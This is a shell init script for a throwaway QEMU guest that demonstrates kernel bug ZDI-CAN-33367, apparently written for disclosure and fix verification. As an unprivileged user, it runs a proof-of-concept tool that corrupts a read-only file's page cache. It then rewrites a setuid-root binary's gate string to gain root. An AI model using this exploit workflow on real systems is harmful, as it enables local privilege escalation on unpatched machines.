#!/bin/sh
# guest_init.sh - /init for the ZDI-CAN-33367 QEMU guest.
#
# Runs as root (PID 1) inside the throw-away microVM.  It prepares a real
# ext4-backed read-only root-owned scratch file, then runs two proofs as the
# unprivileged uid 1000:
#   A. page-cache corruption of the read-only scratch file (page cache changes,
#      on-disk copy does not)
#   B. local privilege escalation: the 8-byte primitive rewrites the read-only
#      .rodata gate of a root-owned mode-4755 binary, which then runs as root
# The identical image is booted with the vulnerable and with the fixed kernel;
# on the fixed kernel both proofs must fail closed.
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH

mount -t proc proc /proc 2>/dev/null
mount -t sysfs sysfs /sys 2>/dev/null
mount -t devtmpfs devtmpfs /dev 2>/dev/null
mkdir -p /dev/pts 2>/dev/null
mount -t devpts devpts /dev/pts 2>/dev/null
echo 0 > /proc/sys/kernel/printk 2>/dev/null

MARKER_TOKEN=$(sed -n 's/.*zdi_marker=\([^ ]*\).*/\1/p' /proc/cmdline)
[ -n "$MARKER_TOKEN" ] || MARKER_TOKEN=unset
rm -f /root/zdi33367_root_marker.txt
echo "GUEST_BOOT kernel=$(uname -r) machine=$(uname -m) marker_token=$MARKER_TOKEN"
grep -E 'skb_zerocopy' /proc/kallsyms >/dev/null 2>&1 && echo "KALLSYMS ok"

# stock distro kernels carry the networking pieces as modules; the control
# kernels built by kbuild.sh have them built in and modprobe is a no-op.
for m in nlmon nfnetlink_queue nft_queue cls_u32 cls_matchall act_pedit \
	 act_mirred sch_ingress esp4 xfrm_user nf_tables; do
	modprobe "$m" 2>/dev/null
done

# ---- real filesystem for the scratch target -------------------------------
mkdir -p /mnt
i=0
while [ $i -lt 100 ]; do
	[ -b /dev/vda ] && break
	sleep 0.1
	i=$((i + 1))
done
if mount -t ext4 /dev/vda /mnt 2>/dev/null; then
	echo "TARGETFS mounted=/dev/vda type=ext4"
else
	echo "TARGETFS_MOUNT_FAILED fallback=tmpfs"
	mount -t tmpfs tmpfs /mnt
fi
head -c 8192 /dev/urandom > /mnt/target.bin
chown 0:0 /mnt/target.bin
chmod 0444 /mnt/target.bin
sync
echo "SCRATCH_TARGET path=/mnt/target.bin size=$(stat -c%s /mnt/target.bin)"
sha256sum /mnt/target.bin

echo "=================================================================="
echo "== A. page-cache corruption of a read-only root-owned file"
echo "=================================================================="
/usr/local/bin/skbpoc ctl --target /mnt/target.bin --offset 4160 --desired ZFRG-OK!
echo "SCRATCH_PROOF_EXIT=$?"

echo "=================================================================="
echo "== B. local privilege escalation via a root-owned mode-4755 binary"
echo "=================================================================="
ROOTME=/usr/local/bin/rootme
ls -l "$ROOTME"
HITS=$(grep -abo --binary-files=text 'ZDI-OK!' "$ROOTME" | wc -l)
OFF=$(grep -abo --binary-files=text 'ZDI-OK!' "$ROOTME" | head -1 | cut -d: -f1)
echo "ROOTME_GATE hits=$HITS offset=$OFF"
echo "ROOTME_BEFORE (executed by uid 1000, expect DENIED):"
setpriv --reuid 1000 --regid 1000 --clear-groups "$ROOTME" ZDI-PWN 2>/dev/null
echo "ROOTME_BEFORE_EXIT=$?"
if [ "$HITS" = "1" ] && [ -n "$OFF" ]; then
	/usr/local/bin/skbpoc ctl --target "$ROOTME" --offset "$OFF" --desired ZDI-PWN \
		--exec "$ROOTME" ZDI-PWN "$MARKER_TOKEN"
	echo "SETUID_PROOF_EXIT=$?"
else
	echo "SETUID_PROOF_SKIPPED hits=$HITS offset=$OFF"
fi

if [ -f /root/zdi33367_root_marker.txt ]; then
	echo "MARKER_ROOT $(cat /root/zdi33367_root_marker.txt)"
else
	echo "MARKER_ROOT_ABSENT"
fi

echo "GUEST_DONE"
sync
/bin/busybox poweroff -f 2>/dev/null
exit 0
